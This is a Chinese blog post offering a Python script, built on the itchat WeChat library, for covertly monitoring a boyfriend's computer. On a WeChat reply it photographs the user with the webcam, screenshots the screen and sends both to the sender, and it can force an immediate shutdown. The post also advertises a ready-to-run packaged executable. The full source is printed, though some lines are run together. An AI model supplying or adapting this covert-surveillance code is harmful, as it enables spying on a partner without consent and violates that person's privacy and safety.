微信远程监控男友上网在干啥


今天给大家介绍一个实用又具备恶搞能力的python程序。

兴趣是最好的老师,我为什么在写python,很大一部分原因是因为python能写出很多有意思好玩的东西。


我们先看下这个程序能实现什么样的效果。




这个程序目前主要有两个功能,一个是摄像头拍照和电脑屏幕截图,回复数字 1 即可控制电脑打开摄像头自动为电脑使用者拍照,同时可以自动截取当前电脑屏幕,并且会把两张图片发送到你的微信上,这样就可以看到你的电脑使用者(可以是男朋友)在干什么了。还有一个实用功能就是电脑关机,回复数字 2 即可强制电脑立即关机,关于这个功能大家要慎用,具体使用场景大家可以自由发挥,但由此带来的不良后果本程序概不负责哈,特此声明。



不知道大家有没有感觉到很神奇,对我来说这就是python的魅力所在,下面再来简单说下这个python程序的实现原理。这个程序主要是利用了一个python第三方库itchat,itchat是一个关于微信操作的库,很多微信机器人都用了类似的库,itchat能把微信用户输入的东西传给这个python程序,然后这个python程序接收到微信用户信息后再对咱们的电脑执行相应的命令,这就是这个python程序的实现流程。



其实这个程序的代码也很简单,下面是这个python程序的源码,当然,为了让大家能快速体验这个python程序,我特意将python程序打包成了一个可直接运行的程序,大家在公众号后台回复 002 即可下载该程序,下载到电脑后,直接双击即可运行,运行后会弹出微信登录二维码,大家可放心扫码登录即可,登录成功后即可在微信上控制电脑了。


import itchat import os import time import cv2 from PIL import ImageGrab

sendMsg = u"{消息助手}:暂时无法回复" usageMsg = u"使用方法:\n回复 1 电脑屏幕自动截图和给电脑使用者拍照,并且发送照片到微信。\n" \
           u"回复 2 电脑关机 \n" 
flag = 0 #消息助手开关 nowTime = time.localtime()
filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt" myfile = open(filename, 'w') @itchat.msg_register('Text') def text_reply(msg):     global flag
    message = msg['Text']
    fromName = msg['FromUserName']
    toName = msg['ToUserName']

    if toName == "filehelper":
        if message == "1":
            cap = cv2.VideoCapture(0)
            ret, img = cap.read()
            cv2.imwrite("weixinTemp.jpg", img)
            itchat.send('@img@%s'%u'weixinTemp.jpg''filehelper')
            cap.release()
            #电脑屏幕截图             screen = ImageGrab.grab()
            screen.save('./screenShot.png','png')
            itchat.send('@img@%s'%u'screenShot.png''filehelper')
        if message == "2":
            os.system('shutdown -s -t 0')
    elif flag == 1:
        itchat.send(sendMsg, fromName)
        myfile.write(message)
        myfile.write("\n")
        myfile.flush() if __name__ == '__main__':
    itchat.auto_login()
    itchat.send(usageMsg, "filehelper")
    itchat.run() 




关键词: python

网友留言(0条)

发表评论